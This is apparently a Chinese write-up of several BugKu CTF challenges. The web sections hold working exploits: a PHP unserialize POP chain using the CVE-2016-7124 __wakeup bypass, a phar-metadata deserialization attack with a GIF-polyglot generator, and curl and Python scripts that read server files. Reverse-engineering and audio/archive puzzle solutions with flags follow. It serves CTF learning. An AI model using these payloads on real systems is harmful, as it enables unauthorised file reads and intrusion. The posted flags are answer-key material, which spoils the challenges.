BugKu Some Write-Up
/ 27 分钟阅读
更新于:目录
BugKu
Web
序列化迷宫
https://ctf.bugku.com/challenges/detail/id/3099.html
原题
<?phpecho '<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>序列化迷宫 - BugKu CTF</title> <style> body { background-color: #0d1117; color: #c9d1d9; font-family: "Courier New", monospace; margin: 0; padding: 20px; } h1 { color: #58a6ff; text-align: center; border-bottom: 1px solid #30363d; padding-bottom: 10px; } .hint { color: #8b949e; text-align: center; font-size: 14px; margin-top: 10px; } .code { background-color: #161b22; border: 1px solid #30363d; border-radius: 6px; padding: 15px; margin-top: 15px; overflow-x: auto; } </style></head><body> <h1>序列化迷宫</h1> <p class="hint">在序列化的迷宫中找到通往 flag 的出口...</p> <div class="code">';highlight_file(__FILE__);echo ' </div></body></html>';
class MazeEntry { public $handler;
public function __wakeup() { $this->handler = null; }
public function __destruct() { $this->handler->process(); }}
class MazeFilter { public $target;
public function process() { $content = $this->target->output; echo $content; }}
class MazeReader { public $path;
public function __get($key) { return file_get_contents($this->path); }}
if (isset($_GET['data'])) { $data = $_GET['data']; // 限制长度防止过大payload if (strlen($data) > 500) { die("数据过长"); } unserialize($data);}?>0x00 题目源码
首页用 highlight_file(__FILE__) 直接给出了源码:
<?phpclass MazeEntry { public $handler;
public function __wakeup() { $this->handler = null; // "醒来时一切归零" }
public function __destruct() { $this->handler->process(); }}
class MazeFilter { public $target;
public function process() { $content = $this->target->output; // 触发 __get echo $content; // 回显 → 外带通道 }}
class MazeReader { public $path;
public function __get($key) { return file_get_contents($this->path); // 任意文件读取 }}
if (isset($_GET['data'])) { $data = $_GET['data']; if (strlen($data) > 500) { die("数据过长"); } unserialize($data);}?>0x01 三座房间:POP 链分析
题目描述的“三座房间”就是三个类,各自提供一个 gadget,串起来就是完整的利用链:
MazeEntry::__destruct() 入口:脚本结束时触发 │ $this->handler->process() ▼MazeFilter::process() 中继:调用不存在属性 │ $this->target->output (MazeFilter 没有 output 属性 → 触发 __get) ▼MazeReader::__get('output') 落点:读文件 │ file_get_contents($this->path) ▼MazeFilter::process() 中 echo $content → 直接回显文件内容链本身没有悬念,唯一的障碍在入口:
public function __wakeup() { $this->handler = null; // 反序列化时把 handler 抹成 null}__wakeup 在 unserialize() 解析完对象后、__destruct 之前必然执行,链路天然断裂——这就是“醒来时一切归零”。
0x02 “多开一扇门”:CVE-2016-7124
响应头显示 PHP/5.6.24,正好落在 CVE-2016-7124 影响范围内:
影响版本:PHP 5.6.25 之前(以及 7.0.10 之前的 7.x)
原理:当序列化字符串中对象声明的属性个数大于字符串中实际给出的属性个数时,
解析器在属性循环中提前终止,
__wakeup不会被调用,但已完成解析的属性值全部保留。
“多开一扇门”就是把外层对象的属性计数 +1:O:9:"MazeEntry":1:{...} 改成 O:9:"MazeEntry":2:{...}(字符串里仍然只写 1 个属性 handler)。
因此最终链为:
O:9:"MazeEntry":2:{ ← 声明 2 个属性、实际只给 1 个 → 跳过 __wakeup s:7:"handler"; O:10:"MazeFilter":1:{ ← 正常声明 s:6:"target"; O:10:"MazeReader":1:{ ← 正常声明(注意 MazeReader 是 10 个字符!) s:4:"path"; s:5:"/flag"; } }}最终 payload(125 字节,远小于 500 限制,URL 编码后直接 GET):
O:9:"MazeEntry":2:{s:7:"handler";O:10:"MazeFilter":1:{s:6:"target";O:10:"MazeReader":1:{s:4:"path";s:5:"/flag";}}}访问:
http://target.com/?data=<URL编码后的payload>页面尾部直接回显flag。
0x03 完整 EXP 脚本
脚本自动计算所有长度前缀,并自动尝试常见 flag 路径:
#!/usr/bin/env python3# exp_序列化迷宫.py# 用法: python3 exp_序列化迷宫.py [目标URL] [flag路径,可省略]import reimport sysimport urllib.parseimport urllib.request
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/"FLAG_PATH = sys.argv[2] if len(sys.argv) > 2 else None
CANDIDATE_PATHS = ["/flag", "/flag.txt", "/flag.php", "/var/www/html/flag.php", "/etc/passwd"]
def s(x: str) -> str: """PHP 序列化字符串,长度自动计算 —— 杜绝手写长度前缀出错""" return f's:{len(x)}:"{x}";'
def build(path: str) -> str: """ POP 链: MazeEntry::__destruct → $this->handler->process() MazeFilter::process → $this->target->output (触发 __get) MazeReader::__get → file_get_contents($this->path) 绕过: 外层 MazeEntry 声明 2 个属性、实际只写 1 个 (CVE-2016-7124) → PHP < 5.6.25 / < 7.0.10 跳过 __wakeup,且属性完整保留 """ reader = f'O:{len("MazeReader")}:"MazeReader":1:{{{s("path")}{s(path)}}}' flt = f'O:{len("MazeFilter")}:"MazeFilter":1:{{{s("target")}{reader}}}' # ↑↑ 关键: :2: 但下面只提供 1 个属性 entry = f'O:{len("MazeEntry")}:"MazeEntry":2:{{{s("handler")}{flt}}}' return entry
def fire(path: str) -> str: payload = build(path) assert len(payload) <= 500, "payload 超过题目 500 字符限制" url = TARGET.rstrip("/") + "/?data=" + urllib.parse.quote(payload) resp = urllib.request.urlopen(url, timeout=10).read().decode(errors="replace") return resp.split("</html>", 1)[-1] # 去掉 highlight_file 的高亮源码
def main(): paths = [FLAG_PATH] if FLAG_PATH else CANDIDATE_PATHS for p in paths: tail = fire(p) m = re.search(r"flag\{[^}]*\}", tail) if m: print(f"[+] {p} → {m.group(0)}") return if "root:x:0:0" in tail: print(f"[+] {p} → (链路已通, 文件可读, 但不是 flag)") else: print(f"[-] {p} → {tail.strip()[:120]!r}") print("[!] 未匹配到 flag,可手动指定路径: python3 exp_序列化迷宫.py <url> /xxx")
if __name__ == "__main__": main()
画廊
https://ctf.bugku.com/challenges/detail/id/3093.html
0x00 题目给出的类(POP 链素材)
class Gallery { public $collection;
public function __destruct() { // 入口:对象销毁时触发 echo $this->collection->getInfo(); }}
class Collection { public $items = array();
public function getInfo() { // 中间跳板:调用 items 元素的 name 属性 $info = ""; foreach ($this->items as $item) { $info .= "<p>作品名称: " . $item->name . "</p>"; } return $info; }}
class Painting { public $path; // 注意:没有 $name 属性
public function __get($key) { // 末端 gadget:读取任意文件 if (isset($this->$key)) { return $this->$key; // 若属性存在则直接返回 } return file_get_contents($this->path); // 属性不存在 → 任意文件读取 }}链条分析
-
Gallery::__destruct:对象被 GC 回收时自动调用,执行$this->collection->getInfo()—— 把collection属性控制为Collection实例即可进入下一步。 -
Collection::getInfo:遍历items数组,访问每个元素的->name属性 —— 把items控制为Painting实例数组。 -
Painting::__get('name'):Painting类没有定义name属性,访问不可访问属性触发__get魔术方法;isset($this->name)为假,走到file_get_contents($this->path)——path完全可控,实现任意文件读取(含协议包装器)。
关键细节:payload 中绝不能给
Painting设置name属性,否则isset()返回真直接短路,读不到文件。
序列化结果
O:7:"Gallery":1:{s:10:"collection";O:10:"Collection":1:{s:5:"items";a:1:{i:0;O:8:"Painting":1:{s:4:"path";s:5:"/flag";}}}}0x01 侦察
访问首页 http://160.202.254.160:17441/,响应头与页面信息:
Server: Apache/2.4.25 (Debian)X-Powered-By: PHP/5.6.40Set-Cookie: PHPSESSID=...; path=/页面是一个“画廊 - 图片管理系统”,有两个功能:
-
上传图片(POST multipart,字段名
image)——提示“仅支持 jpg/jpeg/png/gif 格式,系统会自动验证图片有效性”; -
查看图片详情(GET
?view=路径)——提示“输入图片路径查看详细信息,支持多种协议访问”。
“支持多种协议”是明示 stream wrapper(file://、php://、phar://、data://……)。先传一张 1x1 的最小 GIF 测试上传回显:
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00\x3b' > /tmp/test.gifcurl -s -F "image=@/tmp/test.gif;type=image/gif" http://160.202.254.160:17441/# → <p style='color:green'>上传成功!文件: b2cc67248b87bcf4ed3280232a1deabd.gif</p>文件被重命名为 md5(uniqid()).gif。再探测上传目录:
curl -s "http://.../?view=uploads/b2cc...abd.gif"# → 路径: uploads/... 尺寸: 1x1 类型: image/gif 大小: 33 bytes确认上传目录为 uploads/,且 view 接口回显了 getimagesize() 的结果(尺寸/类型/大小)——与题目提示 getimagesize($path) 吻合,说明后端就是拿用户输入直接调 getimagesize。
同时测试 ?view=php://filter/convert.base64-encode/resource=index.php 返回“不是有效的图片文件”——getimagesize 无法解析 php://filter 输出的 base64 流,说明 view 接口先过 getimagesize,失败则不读文件内容,所以不能直接用它读源码。
0x02 phar 反序列化
phar 文件结构
+------------------------+| stub(存根) | ← 必须以 __HALT_COMPILER(); 结尾,之前内容任意+------------------------+| manifest(清单) | ← 文件元信息,其中 metadata 是**序列化数据**+------------------------+| 文件内容 |+------------------------+| signature(签名) |+------------------------+核心机制:当任何文件操作函数(流式读取)访问 phar:// 协议 URL 时,PHP 会解析整个 phar 包,并把 manifest 中的 metadata 自动反序列化。也就是说,即使代码里没有一行 unserialize(),也能触发魔术方法。
官方文档明确列出的可触发函数非常多,其中就包括本题提示的:
file_exists() file_get_contents() fopen() filesize() is_file()is_dir() copy() stat() getimagesize() md5_file() ...PHP 5.6 对 phar 文件扩展名没有要求——phar://uploads/xxx.gif 照样解析(只要文件内容是合法 phar)。这给了我们“上传一个图片后缀的 phar”的机会。
phar:// 触发流程(本题)
?view=phar://uploads/evil.gif │ ▼getimagesize("phar://uploads/evil.gif") ← 流包装器打开 phar │ ▼PHP 解析 phar manifest ──► unserialize(metadata) ◄── 我们的 Gallery 链藏在 metadata 里 │ ▼请求结束时对象销毁 ──► Gallery::__destruct() ──► POP 链执行 ──► flag 输出到响应末尾0x03 借 POP 链自身读源码(php://filter 套娃)
此时还不知道 flag 文件路径,也不知道后端逻辑细节。好在 Painting->__path 是直接进 file_get_contents 的——stream wrapper 可以嵌套,把 path 设成:
php://filter/convert.base64-encode/resource=index.phpphar 元数据反序列化后,链尾执行的正是 file_get_contents("php://filter/..."),读出的 index.php 源码 base64 会被 Collection::getInfo 拼进 作品名称: 里 echo 出来。
生成 phar(本地 PHP CLI,需 phar.readonly=0)
<?php// gen_phar.php —— 用法: php -d phar.readonly=0 gen_phar.php <目标路径> <输出文件>$target = $argv[1];$out = $argv[2];
class Gallery { public $collection; }class Collection { public $items = array(); }class Painting { public $path; } // 注意不要定义 $name
@unlink($out);
$p = new Painting();$p->path = $target;$c = new Collection();$c->items = array($p); // 单元素;可放多个批量读$g = new Gallery();$g->collection = $c;
$phar = new Phar($out);$phar->startBuffering();$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // ← GIF 头绕过图片校验$phar->setMetadata($g); // ← POP 链作为 metadata$phar->addFromString("a.gif", "test");$phar->stopBuffering(); // 自动计算签名-
setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"):phar stub 只要求以__HALT_COMPILER();结尾,前面可以塞任意字节。GIF89a魔术头让上传时的getimagesize($tmpname)把它识别成 GIF(getimagesize 对 GIF 只检查文件头签名),同时不影响 phar 解析——一个文件同时是“合法 GIF”和“合法 phar”。 -
metadata 里序列化的对象不需要带方法,目标服务端 unserialize 时会自动绑定到服务端定义的类(方法随类走,属性随 payload 走)。
上传并触发
php -d phar.readonly=0 gen_phar.php \ "php://filter/convert.base64-encode/resource=index.php" /tmp/exp.phar
cp /tmp/exp.phar /tmp/exp.gifcurl -s -F "image=@/tmp/exp.gif;type=image/gif" http://160.202.254.160:17441/# → 上传成功!文件: 13a0143ec21ceb890686d554138b86f3.gif
curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2F13a0143ec21ceb890686d554138b86f3.gif"响应在 </html> 之后追加了 destructor 输出的 <div class='gallery-info'>...<p>作品名称: PD9waHAK...(index.php 的 base64)...。
为什么输出在 HTML 后面?
__destruct在请求生命周期结束时、输出缓冲 flush 前后执行,所以链的执行结果附加在正常页面尾部。
0x04 源码审计
base64 解码得到完整 index.php,关键部分:
if (isset($_GET['view'])) { $path = $_GET['view'];
// 简单过滤:禁止直接访问 flag 文件 if (preg_match('/flag/i', $path)) { die("<p style='color:red'>禁止访问flag相关文件</p>"); }
// 漏洞点:getimagesize() 支持 phar:// 协议 $size = @getimagesize($path); // ← phar 反序列化触发点 ...}
// 上传处理$size = @getimagesize($tmpname); // ← 图片校验(GIF89a 头绕过)if (!$size) die("错误:仅允许上传图片文件");$ext = pathinfo($filename, PATHINFO_EXTENSION);if (!in_array($ext, ['jpg','jpeg','png','gif'])) die(...);$newname = md5(uniqid()) . '.' . $ext;move_uploaded_file($tmpname, "uploads/$newname");-
黑名单形同虚设:
preg_match('/flag/i', $path)只检查 URL 里的view参数。我们的 phar URL 是phar://uploads/<md5>.gif,不含 “flag”;而真正读/flag的路径藏在 phar 元数据内部,正则根本看不到。 -
上传校验可绕过:
getimagesize+ 扩展名白名单,双条件都被“GIF89a 头 + .gif 后缀的 phar”满足。 -
flag 位置未知:源码中没有 flag 路径,需要探测常见路径。
0x05 批量探测 flag 路径
Collection::getInfo 是 foreach 遍历——一个 Collection 里塞多个 Painting,一条 phar 同时读多个文件,失败的路径(文件不存在)返回空串,不影响其他项。
<?php// gen_multi.php —— 用法: php -d phar.readonly=0 gen_multi.php <输出> <路径1> <路径2> ...$paths = array_slice($argv, 2);class Gallery { public $collection; }class Collection { public $items = array(); }class Painting { public $path; }
$items = [];foreach ($paths as $p) { $pt = new Painting(); $pt->path = $p; $items[] = $pt; }$c = new Collection(); $c->items = $items;$g = new Gallery(); $g->collection = $c;
$phar = new Phar($argv[1]);$phar->startBuffering();$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");$phar->setMetadata($g);$phar->addFromString("a.gif", "test");$phar->stopBuffering();探测路径列表:/flag、/flag.txt、/flag.php、./flag.php、/var/www/html/flag.php、/var/www/flag.txt、/proc/self/environ(环境变量藏 flag 的常见位置)、/proc/self/cmdline(验证读取真实性)。
php -d phar.readonly=0 gen_multi.php /tmp/probe.phar \ /flag /flag.txt /flag.php ./flag.php \ /var/www/html/flag.php /var/www/flag.txt \ /proc/self/environ /proc/self/cmdline
cp /tmp/probe.phar /tmp/probe.gifcurl -s -F "image=@/tmp/probe.gif;type=image/gif" http://160.202.254.160:17441/# → 上传成功!文件: a91f2dea804ce8f0ced43f89b0501eb7.gif
curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2Fa91f2dea804ce8f0ced43f89b0501eb7.gif" -o out.html用脚本从响应尾部提取 painting-info 块:
import rehtml = open('out.html').read()blocks = re.findall(r"<div class='painting-info'>.*?</div>", html, re.S)paths = ["/flag","/flag.txt","/flag.php","./flag.php", "/var/www/html/flag.php","/var/www/flag.txt", "/proc/self/environ","/proc/self/cmdline"]for p, b in zip(paths, blocks): print(f"===== {p} =====") print(re.search(r"作品名称: (.*?)</p>", b, re.S).group(1)[:1500])输出结果
===== /flag =====flag{3895bbd6008a86b89d72916fc99c39b1}===== /flag.txt / flag.php / ... =====(空,文件不存在)===== /proc/self/cmdline =====apache2\x00-DFOREGROUND\x00 ← 证实是真实的服务端文件读取Flag:flag{3895bbd6008a86b89d72916fc99c39b1}
0x06 完整 EXP
#!/bin/bash# exp.sh —— 画廊 phar 反序列化 getflagURL="http://160.202.254.160:17441"
# 1. 生成读 /flag 的 phar(GIF89a 头 + POP 链 metadata)cat > /tmp/exp_gen.php <<'PHP'<?phpclass Gallery { public $collection; }class Collection { public $items = array(); }class Painting { public $path; }$pt = new Painting(); $pt->path = '/flag';$c = new Collection(); $c->items = [$pt];$g = new Gallery(); $g->collection = $c;$phar = new Phar('/tmp/exp.phar');$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");$phar->setMetadata($g);$phar->addFromString('a.gif', 'test');$phar->stopBuffering();PHPphp -d phar.readonly=0 /tmp/exp_gen.php
# 2. 上传(伪 GIF)NAME=$(curl -s -F "image=@/tmp/exp.phar;filename=exp.gif;type=image/gif" "$URL/" \ | grep -oE '[0-9a-f]{32}\.gif' | head -1)echo "[+] uploaded: $NAME"
# 3. phar:// 触发反序列化,flag 追加在响应末尾curl -s "$URL/?view=phar%3A%2F%2Fuploads%2F$NAME" \ | grep -oE '作品名称: [^<]*' | grep -oE 'flag\{[^}]*\}'Reverse
无声指令 SilentVM
https://ctf.bugku.com/challenges/detail/id/3096.html
0x00 基础信息
$ file SilentVM.exePE32+ executable (console) x86-64, for MS Windows$ strings SilentVM.exe | grep -iE "flag|correct|wrong"Enter the flag:Correct!Wrong!clang version 22.1.6 (https://github.com/llvm/llvm-project.git ...)/home/runner/work/llvm-mingw/llvm-mingw ...-
字符串证实了题目描述的行为:提示输入 → “Correct!” / “Wrong!”;
-
clang + llvm-mingw 编译,未开启混淆,main 很小(~165 条指令);
-
节表里有
.debug_info / .debug_line / .debug_str等 DWARF 调试段(出题人忘了 strip,可以辅助定位变量名与行号)。
0x01 main 函数分析
main 位于 0x140001420。逐段还原后的伪代码:
int main() { char buf[0x40]; // rbp-0x40 unsigned char regs[8]; // rbp+0 .. rbp+7 ← VM 寄存器组 unsigned char mem[96]; // 0x140006080 ← VM 数据内存
if (IsDebuggerPresent()) return 0; // 反调试(静态分析无影响)
printf("Enter the flag: "); fflush(stdout); if (!fgets(buf, 0x40, stdin)) return 0;
int len = strlen(buf); while (buf[len-1] == '\r' || buf[len-1] == '\n') // 去掉行尾换行 buf[--len+1] = 0; // (严格说先置0再减) if (len != 0x1f) goto wrong; // 长度必须 31
memset(&mem[0x2f], 0, 0x31); // 清零 mem 后半段 memcpy(&mem[0x00], buf, 31); // 输入 → mem[0..30] memcpy(&mem[0x20], keytab, 32); // 密钥表 → mem[0x20..0x3f] memcpy(&mem[0x40], ct, 32); // 密文 → mem[0x40..0x5f]
memset(regs, 0, 8); // 寄存器清零 int pc = 0; rcx = "Wrong!"; // puts 参数默认指向 Wrong! ... // VM 主循环(见下)}- 内存布局是理解 VM 的钥匙:
mem[0x60](.data @ 0x140006080)┌──────────────────────────┬──────────────────────────┬──────────────────────────┐│ mem[0x00 .. 0x1e] │ mem[0x20 .. 0x3f] │ mem[0x40 .. 0x5f] ││ 输入 31 字节 │ keytab 32 字节 │ ct 密文 32 字节 │└──────────────────────────┴──────────────────────────┴──────────────────────────┘-
“Wrong!” 的编译器优化:
lea rcx, "Wrong!"在进入 VM 循环前执行一次并一直保留,只有regs[7]==1时才被换成lea rcx, "Correct!",最后统一puts(rcx)。逆向时如果只看末尾的call puts会找不到 “Wrong!” 的来源。 -
关键数据地址(均在 .rdata,VMA 0x140003000 起):
VM 分发器(Dispatcher)
0x140001590 处是典型的 fetch-decode-execute:
140001590: movslq %r10d, %r11 ; r11 = pc140001593: movzbl (%r11,%rax), %esi ; op = prog[pc] (rax = prog 基址)140001598: decl %esi ; op -= 114000159a: cmpl $0xb, %esi14000159d: ja wrong ; op-1 > 11 → 非法操作码,退出1400015a3: movslq (%rdx,%rsi,4), %rsi ; off = (int32)table[op-1] (rdx = 0x1400030a0)1400015a7: addq %rdx, %rsi1400015aa: jmpq *%rsi ; 跳转表分发操作码从 0x01 开始(先 dec 再查表),表项是相对表基址的 32 位有符号偏移。用 pefile 解出 12 个表项得到操作码 → handler 的映射。
0x02 指令集还原
每个 handler 末尾跳回 0x140001590(fetch 下一条)。寄存器约定:%rbp = regs 基址,%r8 = mem 基址,%r10d = pc,%r9b = flag。
以 ADD(0x140001604)为例展示分析方法,其余同理:
140001604: movzbl 0x1(%r11,%rax), %esi ; dst = prog[pc+1]14000160a: leal 0x3(%r11), %r10d ; pc += 3 → 指令长度 3 字节14000160e: movzbl 0x2(%r11,%rax), %r11d ; src = prog[pc+2]140001614: movzbl (%rbp,%r11), %r11d ; r11 = regs[src]14000161a: addb %r11b, (%rbp,%rsi) ; regs[dst] += regs[src]14000161f: jmp fetch完整指令集(由跳转表 + handler 分析还原):
-
LOADKEY / LOADCT 是“带基地址”的加载:操作数里的寄存器值先加上
0x20或0x40再索引 mem——等价于“取 keytab[i]“和”取 ct[i]“; -
rel8 是有符号字节(
movsbl),跳转目标 =pc + 2 + rel; -
JZ/JNZ 对 flag 有副作用:JZ 不跳时把 flag 清 0,JNZ 跳时把 flag 置 1——模拟器必须还原这个行为(本题程序恰好没依赖该副作用,但严谨起见照抄)。
0x03 字节码提取与反汇编
用 pefile 从 .rdata 按 VA 提取三块数据:
prog = rd(0x140003130, 74) # VM 字节码keytab = rd(0x1400030f0, 32) # 密钥表ct = rd(0x140003110, 32) # 密文keytab: e8 52 93 11 c4 7a 2f 6b d5 08 9c 3e 61 b7 44 f0 8d 25 ca 5e 19 76 a3 c8 0f b2 64 d9 30 8a 4d 00ct : b4 51 1e a4 db 2b a3 84 d1 a6 13 89 7a 12 33 ee 18 77 25 5a a6 53 bc e5 7a fb 7e 13 86 d5 5a 00自写反汇编器(按指令长度表逐条切分)输出:
=== 初始化 === 0: MOVI r3, 0x00 ; i = 0 3: MOVI r4, 0x01 ; 常数 1 6: MOVI r6, 0x2a ; 常数 42 9: MOVI r7, 0x00 ; 成功标志 = 012: MOVI r5, 0xff ; (干扰指令)15: XOR r5, r5 ; r5 = 0(干扰指令)18: MOVI r2, 0x1f ; 循环上界 31
=== 循环 1:变换(i = 0..30)===21: LOADM r0, r3 ; r0 = mem[i] = input[i]24: LOADKEY r5, r3 ; r5 = mem[0x20 + i] = keytab[i]27: XOR r0, r5 ; r0 ^= keytab[i]30: ADD r0, r6 ; r0 += 4233: STORE (r3), r0 ; mem[i] = r0 = 变换结果36: ADD r3, r4 ; i++39: CMP r3, r2 ; i == 31 ?42: JZ -> 21 ; i != 31 则继续循环
=== 循环 2:校验(i = 0..30)===44: MOVI r3, 0x00 ; i = 047: LOADM r0, r3 ; r0 = mem[i] (变换后)50: LOADCT r1, r3 ; r1 = mem[0x40 + i] = ct[i]53: CMP r0, r1 ; 相等?56: JZ -> 69 ; 不相等(flag==0) → 直接跳 HALT,r7 仍为 0 → "Wrong!"58: ADD r3, r4 ; i++61: CMP r3, r2 ; i == 31 ?64: JZ -> 47 ; i != 31 继续比较66: MOVI r7, 0x01 ; 31 字节全部匹配 → r7 = 169: HALT ; r7==1 → "Correct!",否则 "Wrong!"70: MOVI r7, 0x00 ; (另一条失败路径)73: HALT自洽性校验:所有 JZ 跳转目标(21、47、69)都精确落在指令边界上,74 字节无残留、无非法操作码——证明指令集还原正确。
循环 2 的
JZ -> 69容易看反:JZ 是 flag==0 时跳转,而 CMP 在相等时置 flag=1,所以“跳到 HALT”对应的恰恰是不相等(校验失败)。任何一个字节不匹配都立即带着r7=0去 HALT 输出 “Wrong!”。
0x04 算法分析与逆推
循环 1 给出的变换等式(对所有 0 ≤ i < 31):
mem[i] = ((input[i] XOR keytab[i]) + 42) mod 256循环 2 要求 mem[i] == ct[i],因此:
(input[i] XOR keytab[i]) + 42 ≡ ct[i] (mod 256)⇒ input[i] = ((ct[i] - 42) mod 256) XOR keytab[i]XOR 与 mod 256 加法均可逐字节独立求逆,无需爆破:
flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))# b'bugku{V1rtua1_M4ch1ne_1s_c00l!}'0x05 完整 EXP
python
#!/usr/bin/env python3# exp_silentvm.py —— 依赖: pip install pefileimport struct, pefile
pe = pefile.PE('SilentVM.exe')base = pe.OPTIONAL_HEADER.ImageBasefor s in pe.sections: if s.Name.decode().startswith('.rdata'): rd_off = base + s.VirtualAddress rdata = s.get_data()rd = lambda va, n: rdata[va - rd_off : va - rd_off + n]
prog = rd(0x140003130, 74) # VM 字节码keytab = rd(0x1400030f0, 32) # 密钥表ct = rd(0x140003110, 32) # 密文
# ---- 指令集(从 12 个 handler 静态分析还原)----LEN = {1:3, 2:3, 3:3, 4:3, 5:3, 6:3, 7:2, 8:2, 9:1, 0xa:3, 0xb:3, 0xc:2}NAME = {1:'MOVI',2:'XOR',3:'ADD',4:'LOADM',5:'STORE',6:'CMP',7:'JZ', 8:'JMP',9:'HALT',0xa:'LOADKEY',0xb:'LOADCT',0xc:'JNZ'}
# ---- 模拟器 ----def run(inp): mem = bytearray(96) mem[0:31], mem[0x20:0x40], mem[0x40:0x60] = inp, keytab, ct regs, pc, flag = bytearray(16), 0, False for _ in range(100000): op = prog[pc] if op == 1: regs[prog[pc+1]] = prog[pc+2]; pc += 3 elif op == 2: regs[prog[pc+1]] ^= regs[prog[pc+2]]; pc += 3 elif op == 3: regs[prog[pc+1]] = (regs[prog[pc+1]] + regs[prog[pc+2]]) & 0xff; pc += 3 elif op == 4: regs[prog[pc+1]] = mem[regs[prog[pc+2]]]; pc += 3 elif op == 5: mem[regs[prog[pc+1]]] = regs[prog[pc+2]]; pc += 3 elif op == 6: flag = regs[prog[pc+1]] == regs[prog[pc+2]]; pc += 3 elif op == 7: rel = struct.unpack('b', prog[pc+1:pc+2])[0] if flag == 0: pc += 2 + rel else: flag = False; pc += 2 elif op == 8: pc += 2 + struct.unpack('b', prog[pc+1:pc+2])[0] elif op == 9: return regs[7] == 1 # HALT elif op == 0xa: regs[prog[pc+1]] = mem[0x20 + regs[prog[pc+2]]]; pc += 3 elif op == 0xb: regs[prog[pc+1]] = mem[0x40 + regs[prog[pc+2]]]; pc += 3 elif op == 0xc: rel = struct.unpack('b', prog[pc+1:pc+2])[0] if flag != 0: flag = True; pc += 2 + rel else: flag = False; pc += 2 else: return False return False
# ---- 逆推: mem[i] = ((in[i]^key[i])+42)&0xff == ct[i] ----flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))print('flag :', flag.decode())print('VM verify (should be Correct):', run(flag))print('negative (A*31, should be Wrong):', run(b'A'*31))MISC
十二音阶
https://ctf.bugku.com/challenges/detail/id/3100.html
0x01 海报的「尾巴」
提示“海报的尾巴比正面更长”指向文件尾部附加数据。在 JPEG 的 FFD9 结束符之后找到:
\nTheFollowingIsA7zArchive\n7z BC AF 27 1C 00 04 ...共 586 字节的 7z 归档(头部长度 32 + 数据区 512 + 编码头 42 = 586,结构自洽)。用7z t测试提示需要密码,且头部也是加密的(无法列出文件名)。
raw = open('poster.jpg','rb').read()i = raw.find(b'TheFollowingIsA7zArchive\n')open('tail.7z','wb').write(raw[i+len(b'TheFollowingIsA7zArchive\n'):])同时从海报正面读出关键文字:校训「明德至善·博学笃行」、以及“十二学院·十二乐章·一封信”。
0x02 口令推导(镜子 + 13 度)
题目说“口令藏在校训里,但镜子把它折了 13 度”:
-
口令藏在校训里 → 取校训拼音首字母:明德至善·博学笃行 →
MDZSBXDX(注意不是全拼,全拼的各种变体都试不通) -
镜子把它折了 13 度 → 把字母表对折移 13 位 = ROT13
mdzsbxdx --ROT13--> zqmfokqk7z x -p'zqmfokqk' tail.7z # 解出 12 个碎片 frag01 ~ frag120x03 广播的十二个音符
broadcast.wav 能量包络显示恰好 12 段、每段 1.2 秒的纯音,间隔 0.4 秒。对每段做 FFT 取主频:
| 段序号 | 频率 | 音符 | 段序号 | 频率 | 音符 |
|---|---|---|---|---|---|
| 0 | 523.3 | C5 | 6 | 698.3 | F5 |
| 1 | 586.7 | D5 | 7 | 659.2 | E5 |
| 2 | 440.0 | A4 | 8 | 554.2 | C#5 |
| 3 | 621.7 | D#5 | 9 | 494.2 | B4 |
| 4 | 465.8 | A#4 | 10 | 415.0 | G#4 |
| 5 | 740.0 | F#5 | 11 | 391.7 | G4 |
正好是 G4 ~ F#5 一个八度内的完整半音阶(十二音阶),每个音恰好出现一次。
“按音高排序”:把每段对应的碎片(段 i ↔ frag(i+1))按音高从低到高排列:
G4 → G#4 → A4 → A#4 → B4 → C5 → C#5 → D5 → D#5 → E5 → F5 → F#5f12 f11 f03 f05 f10 f01 f09 f02 f04 f08 f07 f060x04 碎片重组与解码
各碎片内容(frag12 长 6 字符,其余各 3 字符,共 39 字符):
frag01:XFA frag02:KQ4 frag03:VND frag04:HEW frag05:E5S frag06:M5Ifrag07:NCD frag08:JVO frag09:M3X frag10:CG5 frag11:JZN frag12:LA2GWU按音高升序拼接:
LA2GWU + JZN + VND + E5S + CG5 + XFA + M3X + KQ4 + HEW + JVO + NCD + M5I= LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I39 个字符全部落在 Base32 字符集(A-Z、2-7,无 0/1/8/9) 内——这是 Base32 的强特征。补齐 padding 解码:
import base64base64.b32decode("LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I" + "=")# b'X4kQ9mZ2vB7nP3wT8rY5sD6u'得到 24 字符的可读密文串:X4kQ9mZ2vB7nP3wT8rY5sD6u(即海报所说的“一封信”)。
flag{X4kQ9mZ2vB7nP3wT8rY5sD6u}